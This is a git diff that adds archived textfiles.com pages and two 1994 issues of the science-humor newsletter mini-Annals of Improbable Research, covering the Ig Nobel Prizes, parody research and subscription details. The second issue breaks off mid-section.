//etext.archive.umich.edu/11/Zines/Mindwarp + WWW : http://www.wam.umd.edu/~mustaine/Welcome.html +------------------------------------------------------------------------------ + + +Mind Warp! Funky Fresh Distro. BBSs: +------------------------------------------------------------------------------ +Name Number/Baud SysOp +------------------------------------------------------------------------------ +????????? XXX-XXX-XXXX/??.?? ???????? +------------------------------------------------------------------------------ +Please! We need more bbs's (especially out of the 301 area code!)! Send +mail to one of the listed addresses if you would like to be one, there aren't +any strange requirements, except that you run a BBS. Actually, we LOST all +our BBS's when I went to college. We need BBS's badly. Please, if your +a sysop...e-mail me. + + +Mind Warp! E-mail Addresses: +------------------------------------------------------------------------------ +mustaine@wam.umd.edu (Mustaine) +raven96@hic.net (Raven) +qu@wam.umd.edu (Squid) +ninjaman@apo.com (Ninja-Man Bob) +sjg@metnet.epflbalto.org (Ninja-Man Bob) +slarti@wam.umd.edu (Slartibartfast) +cstolle@indiana.edu (Christopher Stolle) +------------------------------------------------------------------------------ +(To other Mind Warp! Contributers, just yell if you want your address up + there, and be sure to tell me what it is. :) + + +Also check out these fine electronic zines (Obligatory Plugs :) : +------------------------------------------------------------------------------ +Name Editor +------------------------------------------------------------------------------ +Underground eXperts United (uXu) - The Chief +Helter Skelter (Digital Version) - Dark Horse +------------------------------------------------------------------------------ +(Both available at etext.archive.umich.edu) + + Please send all of your Mustaine Hate Mail to either address as well. +We know you want to send it. Hate mail will be sent to him, and it will be +published (with a reply) in a future issue. :) + +** New ** + Distribution Info: Dammit, distributing this little digital zine of +ours has gotten so complicated. Here's the deal. Distribute these all you +want, PLEASE. HOWEVER, keep the files in the format MW!-XXX.TXT where XXX is +a file number that is *already* on there. Most often the files will be +archived by volume, and we ask you to keep it in the same format, which as +of now will be defined by the format used on our *offical* web site. That +would be http://www.wam.umd.edu/~mustaine/Welcome.html These files are +*COPYRIGHTED*, and we ask that your do *NOT* reproduce, whether in +whole or part, any of the material without first recieving consent from the +*ORIGINAL* author. Most of the time, that does not mean ME. Check the +e-mail address of the people involved, OK? + +- Raven & Mustaine + +============================================================================== + E-mail mustaine@wam.umd.edu to be a distributor. +============================================================================== diff --git a/textfiles.com/magazines/MINIAIR.1 b/textfiles.com/magazines/MINIAIR.1 new file mode 100644 index 00000000..5dbacff7 --- /dev/null +++ b/textfiles.com/magazines/MINIAIR.1 @@ -0,0 +1,31 @@ + +T E X T F I L E S + +

Electronic Magazines: The Annals of Improbable Research

+

+After the Journal of Irreproducible Results got into a bit of a legal/ownership battle, +a group of people broke off and started a new scientific parody group, the Annals of +Improbable Research, or AIR. Within the pages of this magazine, you can find some of +the cleverest, intellectual humor out there, humor based on the best minds of the +country letting off some steam. +

+This particular set of "Mini-AIR" missives seem to clarify or announce items with +the main, printed magazine. The humor shines through. +

+ + + + +
+
Filename
Size
Description of the Textfile
mair1-1.txt 20002
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-01 May, 1994 +
mair94-2.txt 23488
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-02 ISSN 1076-500X +
mair9403.txt 22339
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-03 July, 1994 +
mair9404.txt 24868
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-04 August, 1994 +
mair9408.txt 22429
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-08 December, 1994 +
mair95-3.txt 22586
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1995-03 March, 1995 +
mair9501.txt 19763
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1995-01 January, 1995 +
mair9502.txt 24940
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1995-02 February, 1995 +

There are 8 files for a total of 180,415 bytes.

+ + + diff --git a/textfiles.com/magazines/MINIAIR/.windex.html b/textfiles.com/magazines/MINIAIR/.windex.html new file mode 100644 index 00000000..c6818fea --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/.windex.html @@ -0,0 +1,31 @@ + +T E X T F I L E S + +

Electronic Magazines: The Annals of Improbable Research

+

+After the Journal of Irreproducible Results got into a bit of a legal/ownership battle, +a group of people broke off and started a new scientific parody group, the Annals of +Improbable Research, or AIR. Within the pages of this magazine, you can find some of +the cleverest, intellectual humor out there, humor based on the best minds of the +country letting off some steam. +

+This particular set of "Mini-AIR" missives seem to clarify or announce items with +the main, printed magazine. The humor shines through. +

+ + + + +
+
Filename
Size
Description of the Textfile
mair1-1.txt 20002
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-01 May, 1994 +
mair94-2.txt 23488
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-02 ISSN 1076-500X +
mair9403.txt 22339
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-03 July, 1994 +
mair9404.txt 24868
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-04 August, 1994 +
mair9408.txt 22429
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1994-08 December, 1994 +
mair95-3.txt 22586
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1995-03 March, 1995 +
mair9501.txt 19763
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1995-01 January, 1995 +
mair9502.txt 24940
 The mini-Annals of Improbable Research ("mini-AIR") Issue Number 1995-02 February, 1995 +

There are 8 files for a total of 180,415 bytes.

+ + + diff --git a/textfiles.com/magazines/MINIAIR/mair1-1.txt b/textfiles.com/magazines/MINIAIR/mair1-1.txt new file mode 100644 index 00000000..4769bf36 --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair1-1.txt @@ -0,0 +1,444 @@ +============================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1994-01 +May, 1994 +ISSN 1076-500X +Key words:science humor,Improbable Research,Ig Nobel +------------------------------------------------------------ +The mini-journal of inflated research and personalities. +Published by The Annals of Improbable Research (AIR) and The MIT Museum +============================================================ + +----------------------------- +1994-01-01 TABLE OF CONTENTS + +1994-01-01 Table of Contents +1994-01-02 BIG NEWS: The Revolt of the Mad Scientists +1994-01-03 FAQ (Frequently Asked Questions) about The Revolt +1994-01-04 Low Probability of Any Further Abductions by Aliens +1994-01-05 Student Science Writing Skills Documented +1994-01-06 May We Recommend... +1994-01-07 Upcoming Events +1994-01-08 Barnstorming Tour: This means YOU! +1994-01-09 Calls for Papers +1994-01-10 Purpose of mini-AIR (*) +1994-01-11 How to Submit Articles (*) +1994-01-12 How to Subscribe / How to Get Back Issues (*) +1994-01-13 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +--------------------------------------- + +********************************************************************* + The Annals of Improbable Research is IN NO WAY associated + with the name "The Journal of Irreproducible Results" + or with the publisher of "The Journal of Irreproducible Results" +------------------------------------------------------------ +1994-01-02 BIG NEWS: The Revolt of the Mad Scientists + +The entire editorial staff of "The Journal of Irreproducible Results," +fed up after years of fighting red tape, has resigned to start a new +science humor magazine. The new magazine will be called The Annals of +Improbable Research (AIR). + +AIR will be editored by Marc Abrahams, the father of the annual Ig Nobel +Prize Ceremony, who edited "The Journal of Irreproducible Results " from +1990-1994. The new magazine's name was chosen by Alexander Kohn, the Tel +Aviv University virologist who founded "The Journal of Irreproducible +Results" in 1955 and edited the journal until 1989. + +All of the former "Irreproducible Results" columnists and editors haved +migrated to the new publication, as have more than 40 editorial board +members -- scientists, doctors, Nobel laureates (such as Dudley +Herschbach, Linus Pauling, Sheldon Glashow, William Lipscomb, Mel +Schwartz, Sir John Kendrew, and Jerome Friedman) and other mischievous +researchers. + +The first print issue of AIR will appear later this year. +This miniature electronic version, the mini-Annals of Improbable +Research ("mini-AIR"), is available FREE on the Internet beginning with +this issue. + +The Ig Nobel Ceremony, now in its fourth year, honors people whose +achievements cannot or should not be reproduced. Beginning with this +year's ceremony on October 6, the Ig Nobels will be produced jointly by +The MIT Museum and The Annals of Improbable Research. + + +------------------------------------------------------------ +1994-01-03 FAQ (Frequently Asked Questions) about The Revolt + +1. Is there a connection between The Annals of Improbable Research (AIR) +and "The Journal of Irreproducible Results?" +A. No! AIR is IN NO WAY associated with the name "The Journal of +Irreproducible Results" or with the publisher of "The Journal of +Irreproducible Results." + +2. How can I help? +A. Help spread the word. Gather the horses, mount up the forces,fire up +the presses, gear up the fax machine, e-mail your loved ones, plaster +the walls and stalls, and help us get the news to everyone who might be +interested. Many of those who most need to know are not connected to the +Internet -- especially please tell them the news. + +3. I have been receiving (free!) mini-JIR over the Internet. Will I +receive the new publication automatically? +A. Yes. If you were included on the old list, you are now automatically +included on the mini-AIR distribution list. You don't need to do +anything at all. + +4. If I have a subscription to the print version of "The Journal of +Irreproducible Results," what will happen to that subscription? +A. That is not for us to say. We can only suggest that you contact the +publisher of "The Journal of Irreproducible Results." AIR is IN NO WAY +associated with the name "The Journal of Irreproducible Results" or with +the publisher of "The Journal of Irreproducible Results." + +5. How can I subscribe to the indispensible print version of this +wonderfully AIRy new publication? +A. We will be announcing details soon. To get details the moment (more +or less) they are ready, send a SASE to: The Annals of Improbable +Research (AIR), c/o The MIT Museum, 265 Massachusetts Ave., Cambridge, +MA 02139 USA + +6. How should gopher owners, librarians, etc, deal with all this? +A. Please refer questions about how to handle the new title in your +gopher, bbs, ftp site, etc. to our Technical Brains, Marilyn Geller +(mgeller@mit.edu), who is always cleaning up after the editor. + +7. I want to get involved with writing, publishing, advertising or some +other aspect of AIR. How do I do it? +A. Get in touch with the editor, Marc Abrahams (air@mit.edu) or send +mail to: The Annals of Improbable Research (AIR), c/o The MIT Museum, +265 Massachusetts Ave., Cambridge, MA 02139 USA +(617) 491-4437 fax: (617)661-6855) + +8. Do you promise that there will be a minimum of puns involving the +nickname "AIR"? +A. No. + + +------------------------------------------------------------ +1994-01-04 Low Probability of Any Further Abductions by Aliens + +by Leonard X. Finegold +Physics Department, Drexel University, Philadelphia, PA + +You may well be worried about being Abducted by Aliens; Jacobs (in +"Secret Life- Firsthand Accounts of UFO Abductions"[1]) reports detailed +hypnotism-induced regression interviews (in which subjects recall their +past) by people who claim to have been abducted by Aliens[2] into UFO's +(Unidentified Flying Objects). You recall that D. Jacobs and his +colleage J. Mack received an Ig Nobel Prize for this work. A numerical +analysis, of birthdates of people who have been Abducted by Aliens, +shows that people born after 1970 are not abducted. Hence one may safely +assume that the probability of further Alien Abductions is very low, +perhaps even zero. +[The complete paper, with full details of avoiding Abductions, will +appear in a print issue of The Annals of Improbable Research]. + + +Number of Abductees +per half-decade + +13 x +12 x +11 x +10 x + 9 x + 8 x + 7 x x + 6 x x + 5 x x x + 4 x x x x x x + 3 x x x x x x + 2 x x x x x x x + 1 x x x x x x x +------------------------------------------------------------- + 1920 25 30 35 40 45 50 55 60 65 70 75 80 85 90 + Year of birth + +Notes +[1] Jacobs, D.M., "Secret Life - Firsthand Accounts of UFO Abductions," +Simon & Schuster, New York, 1992. +The thesis of the book is that the Aliens temporarily abduct the +Abductees into UFO's to use them in sexual reproductive processes. The +book features an inroduction by John Mack. +[2] It should be stressed that "Aliens" means not simply "un-American", +but "un-Earthly." Well-documented abductions by aliens from other +countries are therefore excluded from this discussion. + + +---------------------------------------------- +1994-01-05 Student Science Writing Skills Documented + +by Rebecca German +Biology Department, University of Cincinnati + +A non-biology majors course in Introductory Biology was given this +assignment: + Prepare a one page summary of Stephen Jay Gould's essay about + the evolution of the Panda's Thumb, published by W.W. Norton. +On the assignment sheet, the author and publisher's names were displayed +in large print, courtesy of Kinko's Campus Copying. The instructions +including the following details: + Your opening sentence should summarize the author's central idea. + Do not start this sentence with "The main idea is...."; rather use + something like "Darwin maintains that survival of the fittest is the + basis of natural selection". + +Results of three sections, totaling 426 students: + 68.1% started their essays with the sentence "Gould maintains that..." + 9.2% started their essays with the sentence "Darwin maintains that..." + 0.2% started their essay with the sentence "W.W. Norton maintains..." + + +----------------------------------------------------------- +1994-01-06 May We Recommend... + +Research reports that merit a trip to the library: + +"Injuries due to Falling Coconuts," by Peter Barss, "The Journal of +Trauma," vol. 24, no. 11, 1984, pp. 990-991. The abstract reads in part: +"A 4-year review of trauma admissions to the Provincial Hospital, +Alotau, Milne Bay Province, reveals that 2.5% of such admissions were +due to being struck by falling coconuts. Since mature coconut palms may +have a height of 24 up to 35 meters and an unhusked coconut may weigh 1 +to 4 kg, blows to the head of a force exceeding 1 metric ton are +possible." (Thanks to James Barone for this to our attention.) + +"Do Men Lie on Fear Surveys?" by K. A. Pierce and D. R. Kirkpatrick, +"Behavioral Research and Therapy," vol. 30, no. 4, July, 1992, pp. 415- +418. The authors conclude that the answer to this question is yes. + + +----------------------------------------------------------- +1994-01-07 Upcoming Events + +::::: ABC-TV WORLD NEWS NOW Late Sun/Early Mon., May 29/30 +Scheduled appearance on the late night/early morning tv news program. + +::::: BROOKLINE BOOKSMITH Thurs., June 23, 6:30 +Slide show/seminar/heckling. For info call (617) 566-6660 + +::::: INTERTEL CONFERENCE Tues., July 5 +Hyatt Regency Hotel, Cambridge, MA. For info call (718) 275-2653 + +::::: "CRAZY AFTER CALCULUS" +An ongoing exhibition of extraordinary humor at MIT from prehistoric +times through the presen. [NOTE: The police car that recently +materialized atop MIT's Great Dome is now in storage at The MIT Museum.] + The MIT Museum + 265 Massachusetts Avenue, Cambridge, MA 02139 USA + (617) 253-4422 (ktl@mitvma.mit.edu) + +::::: 1994 IG NOBEL PRIZE CEREMONY Thurs., October 6 +Kresge Auditorium,MIT, Cambridge, Massachusetts. +You are cordially invited to attend. + +::::: INTERSOCIETY POLYMER SOCIETY Mon., October 10 +Stouffer Harborplace Hotel, Baltimore, MD +For info call (518) 387-7942 + + +----------------------------------------------------------- +1994-01-08 Barnstorming Tour: This means YOU! + +In honor (?) of the new book, "Sex As a Heap of Malfunctioning Rubble," +(see section 1994-01-10 below) the books's editor and many of its other +authors are barnstorming North America, doing readings/slide shows and +presenting current trends in improbable research. + +Stops on this first leg of the tour included: + POWELL'S TECHNICAL BOOKS, Portland, OR; + UNIV. OF PORTLAND; MICROSOFT, Redmond, WA; UNIV. of WASHINGTON, + Seattle; UC BERKELEY; 3DO, Redwood City, CA; + "WEST COAST LIVE" (NPR); U CHICAGO; NORTHERN ILLINOIS U; + SCI-FI MINICON, Bloomington, MN; BROOKHAVEN NAT'L LAB; + COLUMBIA PRSBYTERIAN MEDICAL CTR; NEW YORK MENSA CLUB; + CORNELL U. MEDICAL CENTER; BRYN MAWR COLLEGE; FRANKLIN INSTITUTE, + Philadelphia; ARMY RESEARCH FORUM, Alexandria, VA; + ENVIRONMENTAL PROTECTION AGENCY, Washington, DC; + CONGRESSIONAL OFFICE OF TECHNOLOGY ASSESSMENT, Washington, DC; + LIBRARY OF CONGRESS, Washington, DC; MARY WASHINGTON COLLEGE, + Fredricksburg, VA; NAVY RESEARCH LAB, Washington DC; + NATIONAL INSTITUTES OF HEALTH, Bethesda, MD; HORN POINT + ENVIRONMENTAL LAB, Cambridge, MD; TECHNICON SCI-FI CONVENTION, + VIRGINIA TECH, Blacksburg, VA; CEBAF NATIONAL LAB; U CINCINATTI; + AMERICAN CHEMICAL SOCIETY, Cincinatti, OH; OHIO STATE U; + CORNELL UNIVERSITY; MIT ALUMNI CLUB of NEW HAMPSHIRE + +::::: THE NEXT LEGS: Invite us to your place!! +The next legs of the tour are being organized right now. There will be +three parts: + <> This summer in New York City + <> This summer in Washington, DC + <> Late summer/early autumn across the U.S. +If you would like to be a host/instigator for an Improbable Science +Event for 50 or more people at your city, university, hospital, research +center, high school, book store, etc., ASAP please contact: + Lisa Bernstein, Workman Publishing, 708 Broadway, NY, NY 10013 + (212) 614-7505 FAX:(212) 254-8098 + itlhappen@aol.com + + +------------------------------------------ +1994-01-09 Calls for Papers + +CALL FOR DATA for AIR's "Project Um." +Project Um is an ongoing, comprehensive, international survey of how +often university and high school lecturers use the word "um." +We are accepting data ONLY for lectures that are of standard academic +drone length (50-60 minutes). If your data concern several different +lectures, please list the data separately for each lecture. +Data should be submitted concisely in the following format: + Name and city of institution + Name of lecturer + General subject of the lecture (e.g., physics, history, art, etc.) + Number of times the lecturer spoke the word "um." + +CALL FOR NOMINATIONS for the 1994 Ig Nobel Prizes. Ig Nobel Prizes are +awarded for achievements that cannot or should not be reproduced. +Nominations may be submitted, anonymously or otherwise, by e-mail to: + ig@mit.edu +Alternatively, they may be send by mail to the AIR address given +elsewhere in this document. + + +********************************************************************* +1994-01-10 Purpose of mini-AIR (*) + +The mini-Annals of Improbable Research (mini-AIR) publishes news about +improbable research and ideas. Specifically: + +A) Haphazardly selected superficial (but advanced!) extracts of research +news and satire from the Journal of Improbable Research (AIR). + +B) News about the annual Ig Nobel Prize ceremony. Ig Nobel Prizes honor +"achievements that cannot or should not be reproduced." A public +ceremony is held at MIT, in Cambridge Massachusetts, every October. The +ceremony is sponsored jointly by The MIT Museum and AIR. + +C) News about other science humor activities intentional and otherwise. + + +---------------------------------------- +1994-01-11 How to Submit Articles (*) + +AIR publishes original articles, data, effluvia and news of improbable +scientific research. The material is intended to be humorous and/or +educational, and sometimes is. We look forward to receiving your +manuscripts, photographs, X-rays, drawings, etc. Please do not send +biological samples. Photos should be black & white if possible. + +Articles are typically 500-2000 words in length. (Articles exclusively +for mini-AIR should be much shorter.) Please send two neatly printed +copies. Alternatively, you may submit via e-mail, in ASCII format. + +Because of the volume of submissions, we are unable to acknowledge +receipt of manuscripts unless they are accompanied by a SELF-ADDRESSED, +ADEQUATELY STAMPED ENVELOPE. + +Articles may be submitted to: + Marc Abrahams, editor + The Annals of Improbable Research (AIR) + c/o The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + (617) 491-4437 FAX: (617) 661-6855 + +Editorial questions? Our Internet address is: air@mit.edu + + +--------------------------- +1994-01-12 How to Subscribe / How to Get Back Issues (*) + +::::: The mini-Annals of Improbable Research (mini-AIR) + +mini-AIR is an electronic publication, available over the Internet, free +of charge. It is distributed as a LISTSERV application. We publish +approximately 12 issues per year. +To subscribe, send a brief E-mail message to either of these addresses: + LISTSERV@MITVMA.MIT.EDU or LISTSERV@MITVMA +The body of your message should contain ONLY the words "SUBSCRIBE MINI- +AIR" followed by your name. +Here are two examples: + SUBSCRIBE MINI-AIR Irene Curie Joliot + SUBSCRIBE MINI-AIR Nicholai Lobachevsky +To stop subscribing, +send the following message to the same address: + SIGNOFF MINI-AIR +To obtain a list of back issues, +send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00001, send this message: + GET MINI-AIR 94-00001 +If you have questions about how to subscribe, or if you would like to +re-distribute mini-AIR, please send e-mail to: mgeller@mit.edu +[PLEASE NOTE: if you are regularly posting mini-AIR on your gopher, WWW, +news group or mailing list, please drop an e-mail note to +mgeller@mit.edu so that we can include a complete list in future issues +-- thanks!] + +::::: The Annals of Improbable Research (AIR) + +AIR is an indispensable print publication that will appear six times per +year. We will publish subscription info in future issues of mini-AIR. +To obtain subscription info as soon as it becomes available, +please mail a SASE to: + c/o The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +::::: Books + +"Sex As a Heap of Malfunctioning Rubble (and further improbabilities): +More of the Best of The Journal of Irreproducible Results," +Marc Abrahams, editor. +A collection of dangerously potent science humor, much of it written by +the people who have now founded AIR. With riveting photos, x-rays and +eye charts. +Workman Publishing, New York, 1993. ISBN 1-56305-312-8 $12.95 + +"The Journal of the Institute for Hacks, TomFoolery, and Pranks at MIT," +by Brian Leibowitz. +A complete history, lavishly illustrated with inspirational photos, of +the world's leading institute for elegantly conceived, engineered, and +connived collegiate practical joking. +ISBN-0-917027-03-5 $24 + +Both books are available from the MIT Museum +265 Massachusetts Ave., Cambridge, MA 02139 USA +(617) 253-4462 fax: (617)253-8994 +The prices quoted here include shipping/handling to any destination at +or above sea level. These books can also be found in most libraries and +bookstores. + + +--------------------------- +1994-01-13 Please DO make copies! (*) + +You have permission to distribute copies of mini-AIR or excerpts from +it. The only limitations are: +A) Please clearly indicate that the material appeared in mini-AIR and is +reprinted with permission. +B) You do NOT have permission to copy or excerpt this document for +commercial purposes. + ---------------- +(c) copyright 1994, Marc Abrahams + ---------------- +The mini-Annals of Improbable Research (mini-AIR) + Editor: Marc Abrahams (air@mit.edu) + Technical Brains: Marilyn Geller (mgeller@mit.edu) + Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick +-------------------------------------------------------------------- + +============================================================== +IMPORTANT +********************************************************************* + The Annals of Improbable Research is IN NO WAY associated + with the name "The Journal of Irreproducible Results" + or with the publisher of "The Journal of Irreproducible Results" +********************************************************************* diff --git a/textfiles.com/magazines/MINIAIR/mair94-2.txt b/textfiles.com/magazines/MINIAIR/mair94-2.txt new file mode 100644 index 00000000..d67aedde --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair94-2.txt @@ -0,0 +1,552 @@ +============================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1994-02 +June, 1994 +ISSN 1076-500X +Key words:science humor,Improbable Research,Ig Nobel +------------------------------------------------------------ +The mini-journal of inflated research and personalities. +Published by The Annals of Improbable Research (AIR) +at The MIT Museum +============================================================ + +----------------------------- +1994-02-01 TABLE OF CONTENTS + +1994-02-01 Table of Contents +1994-02-02 Pieces of Schneerson +1994-02-03 Announcing AIRhead Project 2000 +1994-02-04 Recap (by pop req) of 1991 Ig Nobel Prizewinners +1994-04-05 Specimen of the Month +1994-02-06 May We Recommend... +1994-02-07 AIR extracts now syndicated on USENET +1994-02-08 News about AIR +1994-02-09 Upcoming Events +1994-02-10 Calls for Papers +1994-02-11 Purpose of mini-AIR (*) +1994-02-12 How to Submit Articles (*) +1994-02-13 How to Subscribe / How to Get Back Issues (*) +1994-02-14 AIR's Mailing and Internet Addresses (*) +1994-02-15 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1994-02-02 Pieces of Schneerson + +Pieces of Schneerson: Culturing the Immortal Cell Line RMS94 + +by Sam Greenberg, New York City. Translated from the original +Hebrew by Karen Hopkin, Yeshiva University. + +This month, members of the ultra-Orthodox Lubavitch Hasidic group +mourned the death of their Grand Rabbi Menachem Schneerson. Many +of the Rebbe's followers apparently believed Schneerson to be +immortal--the Messiah predicted in the Old Testament. To +determine whether Schneerson could be considered immortal, we +obtained cell samples from the Rebbe's frontal cortex, left +forearm, and lower intestine during his 3-month hospitalization at +Beth Israel in New York. These cells were tested for their +ability to grow indefinitely in culture. + +We found that neurons from Schneerson's brain [1] exhibited growth +patterns typical of immortalized cells --growth in the absence of +contact with the culture plate; a decreased requirement for serum +growth factors; and the ability to overcome replicative senescence +(cultures were monitored for more than 250 median population +doublings). The other cell types did not exhibit immortal growth +[2]. + +Single-strand conformational polymorphism analysis indicates that +Schneerson's neurons (cell line RMS94) contain a mutation in the +tumor suppressor Retinoblastoma (Rb) gene. This point mutation +would lead to the replacement of a glutamic acid residue (E) in +the Rb protein. Further studies are needed to determine how the +RbE mutation leads to immortality. + +NOTES: + +[1] Cell line RMS94 will be available through the American Type +Culture Collection, ATCC #4494R for further physiological and +genetic analyses or for divine inspiration. + +[2] The significance of the immortality of only the Rebbe's brain +cells is currently under investigation by a team of molecular +biologists and biblical scholars. + + +---------------------------------------------- +1994-02-03 Announcing AIRhead Project 2000 + +With year 2000 fast[1] approaching, many [2] scientific, medical, +engineering, legal, educational, governmental and marketing +organizations are sponsoring research projects that involve the +number two thousand. The Annals of Improbable Research is +compiling a list of such studies. Randomly selected items fro the +list include: + + #1. "Library 2000," MIT + + #2. "NASA MINDS 2000+," Eastern Michigan U. and NASA + + #3. "Education 2000," United Kingdom + + #4. Goals 2000 Initiative," U.S. Dept of Education + + #5. Information Management 2000," Univ. of St. Gallen + +We are also assembling a complete collection of products (and/or +advertisements for products) which are related to the number two +thousand. The collection presently consists of these items: + + #1. "Biomek 2000 Laboratory Automation Workstation" + from Beckman. + + #2. "Lever 2000 soap." The manufacturer's advertisements + point out that the soap can be used to cleanse + a human being's 2000 body parts. + + #3. "2000 Flushes automatic toilet bowl cleaner." + + #4. "2000 Flushes Blue automatic toilet bowl cleaner." + + #5. "2000 Flushes Chlorine Clear automatic toilet bowl + cleaner." + +AIRhead Project 2000 is seeking additions to our list of projects, +and additions to our collection of products and/or ads for +products. Please do not send products that have been previously +used and/or ingested. All materials should be sent to the address +given below. + +NOTES: + +1. The rate of approach is approx. one year per year. + +2. Approx. two thousand. + + +------------------------------------------------------------ +1994-02-03 Recap (by pop req) of 1991 Ig Nobel Prizewinners + +Many readers have requested that we publish a list of previous +years' Ig Nobel Prizewinners. The first public ceremony was held +in 1991. The winners that year included: + +1991 Ig Nobel Chemistry Prize: Jacques Benveniste +prolific proselytizer and dedicated correspondent of "Nature," for his +persistent discovery that water, H2O, is an intelligent liquid and for +demonstrating to his satisfaction that water is able to remember events +long after all trace of those events has vanished. + +1991 Ig Nobel Education Prize: J. Danforth Quayle +consumer of time and occupier of space, for demonstrating, better than +anyone else, the need for science education. (The acceptance speech was +delivered by someone who claimed to be Vice President Quayle but who +appeared to be an eight-year-old girl.) + +1991 Ig Nobel Biology Prize: Robert Klark Graham +selector of seeds and prophet of propagation, for his pioneering +development of the Repository for Germinal Choice, a sperm bank that +accepts donations from Nobellians and Olympians. + +1991 Ig Nobel Literature Prize: Erich Von Daniken +visionary raconteur and author of "Chariots of the Gods," for explaining +how human civilization was influenced by ancient astronauts from outer +space. + +1991 Ig Nobel Peace Prize: Edward Teller +father of the hydrogen bomb and first champion of the Star Wars weapons +system, for his lifelong efforts to change the meaning of peace as we +know it. (The Ig Nobel Committee was unable to find anyone who was +willing to accept the prize on behalf of Edward Teller.) + +1991 Ig Nobel Economics Prize: Michael Milken +titan of Wall Street and father of the junk bond, to whom the world is +indebted. + +1991 Ig Nobel Pedestrian Technology Prize: Paul Defanti +wizard of structures and crusader for public safety, for his invention +of the Buckybonnet, a geodesic fashion structure that pedestrians wear +to protect their heads and preserve their composure. + +1991 Ig Nobel Interdisciplinary Research Prize: Josiah Carberry +bold explorer and eclectic seeker of knowledge, for his pioneering work +in the field of psychoceramics, the study of cracked pots. + +1991 Ig Nobel Medicine Prize: Alan Kligerman +deviser of digestive deliverance, vanquisher of vapor, and inventor of +Beano, for his pioneering work with antigas liquids that prevent bloat, +gassiness, discomfort, and embarrassment. + + +----------------------------------------------------------- +1994-04-04 Specimen of the Month + +Taxonomic and analytical text prepared by Emmert Lowery, Jr. +This item is on exhibit at The MIT Museum. + +Item #83002D. "No Knife. A study in mixed media earth tones, +number three." Realized by James Tetazoo. December 1984. + +This object d'art was found in the midst of an art Exhibit at +MIT's List Galleries in the Weisner Arts and Media Building, +installed by students whose identity remains unknown. It consists +of a gray plastic tray surmounted by two spoons, a plate, a bowl, +a glass, and a fork. + +The artist's mode d'emploi relies upon minimalist kinematic +methods; space and time are frozen in a staid reality of +restrained sexuality. Temporary occasionalism, soon overcome +throughout by symbolic nihility, pervades our earliest perception +of the work. An overturned throwaway obelisk functions as symbolic +pedestal; the work rests upon a manifestation of grey toned +absence. Epicurean imagery is employed most effectively by +Tetazoo; the glass, the porcelain, the plastic move in conflicting +directions and yet are joined in a mood of stark pacifism. The +sterile lateralism of the grouped utensils (sans knife), conveys a +sens of eternal ennui, framed within the subtle ambience of +discrete putrefaction. The casual formalism of the place setting +draws upon our common internal instinct of existential persistence +to unify us withe the greater consciousness of human bondage. + + +----------------------------------------------------------- +1994-02-05 May We Recommend... + +Research reports that merit a trip to the library: + +"A Partial Form of Lycanthropy with Hair Delusion in a Manic- +Depressive Patient," by H. Verdoux and M. Bourgeois, "British +Journal of Psychiatry," vol. 163, pp. 685-686. + +"Rewarming Hypothermic Animals with Microwaves," by Ken Bartels, +"Veterinary Forum," March 1994, pp. 28 and following. (Thanks to +Joseph Musielak for bringing this to our attention.) + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +---------------------------------------------- +1994-02-07 AIR extracts now syndicated on USENET + +"Extracts from the The Annals of Improbable Research" will now +appear in the form of a syndicated weekly column. The items there +will be different from those which appear here in mini-AIR. + +If your Internet site subscribes to the Clarinet newsgroups, +you can read these extracts in the USENET news group named + + clari.feature.imprb_research + +[EDITOR'S NOTE: Through no fault of our own, our column is +appearing at the same time Dave Barry's column is disappearing. +Dave's column was one of the few things on the Internet that we +read faithfully, and we will miss it sorely. Apparently, an +executive at Knight Ridder, the corporation which owns the rights +to Dave's column, decided that the Internet is a dangerous place. +By the power vested (by ourselves)in us, we hereby proclaim that +executive (whose name we do not know) to be an honorary AIR head.] + + +----------------------------------------------------------- +1994-02-08 News about AIR + +1. We will be announcing details soon about how to subscribe to +the print version of AIR. We hope to publish the first issue this +fall. Any generous support we receive from patrons of the +improbable will help hasten that day. If you or your organization +would like to help, please get in touch. + +2. Our office is in the MIT Museum, where AIR and mini-AIR are +published. When you are in town, please drop by to say hello and +discuss your research or lack thereof. + +3. Several mysterious people have inquired whether it is possible +to obtain group subscriptions to AIR as gifts for customers, +employees, students, patients, or whatnot. The answer is yes. + +4. We are looking for volunteer interns to help with +correspondence and research. If you live in the Cambridge area and +feel so inclined, please get in touch. + +5. Marilyn Geller, our Technical Brains, will soon depart from +MIT, leaving us, technically speaking, half-Brained at best. +Many, many thanks to Marilyn for her help, wisdom, patience, and +foregone sleep in launching first mini-JIR, then mini-AIR. +Marilyn has consented to remain loosely affiliated with mini-AIR, +in exchange for the odd (tasting) cup of coffee. + + +----------------------------------------------------------- +1994-02-08 Upcoming Events + +INTERTEL CONFERENCE Tues., July 5 +Hyatt Regency Hotel, Cambridge, MA. For info call (718) 275-2653 + +BARNES AND NOBLE, Brookline, MA Thurs., July 28, 8:00 +Slide show/seminar/heckling. For info call (617) 566-5562 + +MIT ALUMNI/AE CLUB OF LONG 